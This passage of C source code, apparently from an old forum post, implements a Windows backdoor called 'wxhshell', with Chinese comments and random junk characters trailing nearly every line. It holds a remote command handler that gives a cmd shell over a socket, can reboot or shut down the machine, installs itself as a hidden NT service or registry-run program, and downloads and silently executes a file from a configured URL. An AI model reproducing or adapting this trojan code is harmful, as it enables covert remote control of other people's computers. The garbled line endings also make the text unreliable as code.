  // 帮助 E e]-qN*8  
  case '?': { B;WCTMy}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q9NoI(]e  
    break; _FEF x  
  } Nluoqo ac  
  // 安装 X@f}Q`{Ymj  
  case 'i': { 2[CdZ(k]5  
    if(Install()) iO[<1?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Il.K"ll  
    else >f'g0g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &/b~k3{M_  
    break; MPk5^ua:  
    } rs.M]8a2{&  
  // 卸载 8V(pugJ  
  case 'r': { PVOv[%  
    if(Uninstall()) Vg23!E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); njw|JnDv  
    else Tf)*4O4@'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fAmz4  
    break; y==CT Y@  
    } $SE^S   
  // 显示 wxhshell 所在路径 1 .X@;  
  case 'p': { pNIf=lA  
    char svExeFile[MAX_PATH]; y?:.;%!E  
    strcpy(svExeFile,"\n\r"); x m@_IL&P  
      strcat(svExeFile,ExeFile); qFNes)_r  
        send(wsh,svExeFile,strlen(svExeFile),0); 2 FFD%O05  
    break; 05k0n E  
    } $A` VYJtt#  
  // 重启 fX+O[j  
  case 'b': { 5Ph4<f` L~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); N [yy M'C  
    if(Boot(REBOOT)) &=Wlaa/,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KdlQ!5(?X  
    else { LDD|(KLR*.  
    closesocket(wsh); UDni]P!E  
    ExitThread(0); l+R+&b^  
    } yWya&|D9  
    break; gO^gxJ'0t  
    } =ruao'A  
  // 关机 9C \Fq-  
  case 'd': { iIogx8[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _y3Xb`0a  
    if(Boot(SHUTDOWN)) Lk$B{2^n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z<4AL\l 98  
    else { ^I)N. 5  
    closesocket(wsh); e$pV%5=  
    ExitThread(0); hzRYec(  
    } Gbw2E&a  
    break; $\! 7 {6a  
    } ,: ->ErP  
  // 获取shell (~en (  
  case 's': { ^VACf|0  
    CmdShell(wsh); eIo7F m  
    closesocket(wsh); u4_9)P`]0  
    ExitThread(0); W T}H>T  
    break; H4JTGt1"  
  } l (%1jC8  
  // 退出 JLJ;TM'4=  
  case 'x': { "Yca%:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !YJs]_Wr  
    CloseIt(wsh); #u + v_  
    break; _,d~}_$`i  
    } @fV9 S"TcM  
  // 离开 69 o 7EA  
  case 'q': { .}`Ix'.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6(e>P)  
    closesocket(wsh); : \}(& >  
    WSACleanup(); 2[;_d;oB@  
    exit(1); QVE6We  
    break; nQ L@hc  
        } S[T8T|_  
  } Q dp)cT  
  } Z`BK/:vo3H  
- CWywuD  
  // 提示信息 y|q3Wa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?NP1y9Y]i  
} rc>6.sM %  
  } \B 7tX  
)];K .zP  
  return; 5P$4 =z91  
} Ip]KPrw p  
(%:c#;#  
// shell模块句柄 9<)NvU^-r  
int CmdShell(SOCKET sock) (Clkv  
{ 4 N7^?  
STARTUPINFO si; eNu7~3k}  
ZeroMemory(&si,sizeof(si)); Jdp3nzM^^@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :Xd<74Nu  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .y,0[i V N  
PROCESS_INFORMATION ProcessInfo; ~| 6[j<ziL  
char cmdline[]="cmd"; K}U-w:{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WSY}d Vr  
  return 0;  =4!e&o  
} SC])?h-Fw  
O<;3M'y\  
// 自身启动模式 @Pzu^  
int StartFromService(void) E=w1=,/y  
{ 14'45  
typedef struct .k \@zQ|Ta  
{ u=_mvN  
  DWORD ExitStatus; t@Nyr&|D  
  DWORD PebBaseAddress; ]}(H0?OQR  
  DWORD AffinityMask; P}G+4Sk  
  DWORD BasePriority; D{~fDRR  
  ULONG UniqueProcessId; U!Z,xx[]  
  ULONG InheritedFromUniqueProcessId; A$xF$l  
}   PROCESS_BASIC_INFORMATION; 7 ^mL_SMj  
FtC^5{V+V  
PROCNTQSIP NtQueryInformationProcess; r{%qf;  
>u8gD6X  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *C=>X193U  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *U\`CXn;  
;l-!)0 U  
  HANDLE             hProcess; &q|K!5[k  
  PROCESS_BASIC_INFORMATION pbi; }XM(:|8J,  
x7x\Y(@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'anG:=  
  if(NULL == hInst ) return 0; lR6x3C H@  
p Q<Y:-`c  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ig':%2V/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Oh\<VvZuN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g^ i&gNDx  
; p{[1  
  if (!NtQueryInformationProcess) return 0; _W'-+,  
?_"ik[w}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t\j*}# S  
  if(!hProcess) return 0; E'.7xDN  
3CGp`~Zf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a,#j =  
B[?CbU  
  CloseHandle(hProcess); Y,e B|  
0|\$Vp  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Uwx E<=z  
if(hProcess==NULL) return 0; Y0K[Sm>  
1,!(0 5H  
HMODULE hMod; W#C*5@8  
char procName[255];  XJ5 .  
unsigned long cbNeeded; rkY[E(SY  
A;|D:;x3G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~Ti'FhN  
:e%Pvk  
  CloseHandle(hProcess); ;Nj7qt  
u21EP[[,  
if(strstr(procName,"services")) return 1; // 以服务启动 Hi`//y*92H  
kO*$"w#X[p  
  return 0; // 注册表启动 TLe~y1dwY=  
} 4G>H  
JOLaP@IPT  
// 主模块 cFnDmt I:  
int StartWxhshell(LPSTR lpCmdLine) l.bYE/F0&  
{ pW sDzb6?%  
  SOCKET wsl; fG(SNNl+D  
BOOL val=TRUE; TNh1hhJ$b  
  int port=0; #PQB(=299P  
  struct sockaddr_in door; BC<^a )D=  
-kwXvYu\  
  if(wscfg.ws_autoins) Install(); _ T):G6C8  
f|lU6EkU  
port=atoi(lpCmdLine); i`$*T y"x  
qXe8Kto  
if(port<=0) port=wscfg.ws_port; I \JGs@I   
s '\Uap  
  WSADATA data; -f>%+<k=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xJ)n4)  
z(^]J`+\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )i^<r;_z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vv+z'(l  
  door.sin_family = AF_INET; QR0Q{}wbqU  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0C6-GKbZ  
  door.sin_port = htons(port); Hi1JLW,  
bPt!yI:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l +OFw)8od  
closesocket(wsl); u=7J /!H7^  
return 1; 7.#F,Ue_0T  
} R1GEh&U{  
4X |(5q?  
  if(listen(wsl,2) == INVALID_SOCKET) { os={PQRD  
closesocket(wsl); g($DdKc|g  
return 1; }$Tl ?BRpU  
} W_8wed:b  
  Wxhshell(wsl); {|:;]T"y  
  WSACleanup(); jesGV<`?l  
Rt!FPoN,y  
return 0; m6CI{Sa](l  
@A89eZbW  
} <\ :Yk  
gPsi  
// 以NT服务方式启动 (l- ab2'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UsQ+`\|  
{ ;J2zp*|  
DWORD   status = 0; 5}]"OXQ  
  DWORD   specificError = 0xfffffff; v,{yU\)  
Ww%=1M]e-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [knN:{ l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; r^paD2&}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~%=MpQ3  
  serviceStatus.dwWin32ExitCode     = 0; 5r8< 7g:>C  
  serviceStatus.dwServiceSpecificExitCode = 0; q~ZNd3O  
  serviceStatus.dwCheckPoint       = 0; 78# v  
  serviceStatus.dwWaitHint       = 0; R$TB1w9]  
QpA/SmJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 71gT.E  
  if (hServiceStatusHandle==0) return; E!l!OtFL  
^o1*a&~J@  
status = GetLastError(); `_RTw5{  
  if (status!=NO_ERROR) -w_QJ_z_  
{ Xudg2t)+K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _p&]|~a  
    serviceStatus.dwCheckPoint       = 0; ZR]25Yy  
    serviceStatus.dwWaitHint       = 0; ~r`9+b[9{  
    serviceStatus.dwWin32ExitCode     = status; iS Gq!D  
    serviceStatus.dwServiceSpecificExitCode = specificError; SB|Qa}62  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '~&X wZ&  
    return; DSk/q-'u  
  } F,dx2ZPIs?  
5^lxj~ F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V7P&%oz{C  
  serviceStatus.dwCheckPoint       = 0; au=o6WRa  
  serviceStatus.dwWaitHint       = 0; Hx*;jpy(2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tEKmy7'#  
} G) 7;;  
TbGn46!:  
// 处理NT服务事件,比如:启动、停止 Dg?70v <a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JB`\G=PiL  
{ Q/_f zg  
switch(fdwControl) `-l6S  
{ x+x40!+\  
case SERVICE_CONTROL_STOP: HO%wHiv1X  
  serviceStatus.dwWin32ExitCode = 0; \cUNsB5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V'T ,4  
  serviceStatus.dwCheckPoint   = 0; xScLVt<\e  
  serviceStatus.dwWaitHint     = 0; yXF?H"h(  
  { zN@} #Hk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Ka l"Ew  
  } 0F|AA"mMT  
  return; !~&R"2/  
case SERVICE_CONTROL_PAUSE: TXk?#G\o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &[/w_| b  
  break; )Es"LP]  
case SERVICE_CONTROL_CONTINUE: $lIz{ySJv  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lBTmx(_}}r  
  break; 7 :3$Ey  
case SERVICE_CONTROL_INTERROGATE: * %M3PTY\  
  break; ( ?{MEwHG  
}; Q=T&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j|%HIF25  
} U,q\em R  
7C ,UDp|  
// 标准应用程序主函数 .wu xoq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w1#gOwA,$  
{ ?zVL;gVWA  
f[~L?B;_L  
// 获取操作系统版本 ;)e2 @'Agl  
OsIsNt=GetOsVer(); : b~6i%b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); U1RpLkibQ  
[uls8 "^/j  
  // 从命令行安装 u1PaHgi$  
  if(strpbrk(lpCmdLine,"iI")) Install(); &c%g  
"7V2lu  
  // 下载执行文件 :8+Nid)  
if(wscfg.ws_downexe) { fCtPu08{Z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9Z'8!$LYg  
  WinExec(wscfg.ws_filenam,SW_HIDE); a@*S+3  
} 4^Q :  
 {=QiZWu  
if(!OsIsNt) { !PJ6%"  
// 如果时win9x,隐藏进程并且设置为注册表启动 78OIUNm`  
HideProc(); QC;^xG+W  
StartWxhshell(lpCmdLine); W.0L:3<"  
} !\L/[:n  
else +g]yA3  
  if(StartFromService()) ugx%_x6  
  // 以服务方式启动 3*)ig@e6  
  StartServiceCtrlDispatcher(DispatchTable);  S"$m]  
else yH*6@P4:0=  
  // 普通方式启动 Y=n4K<  
  StartWxhshell(lpCmdLine); ,|plWIl~  
.?e\I`Kk^'  
return 0; ,NVsn  
}
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只看该作者 1 发表于: 2006-10-10
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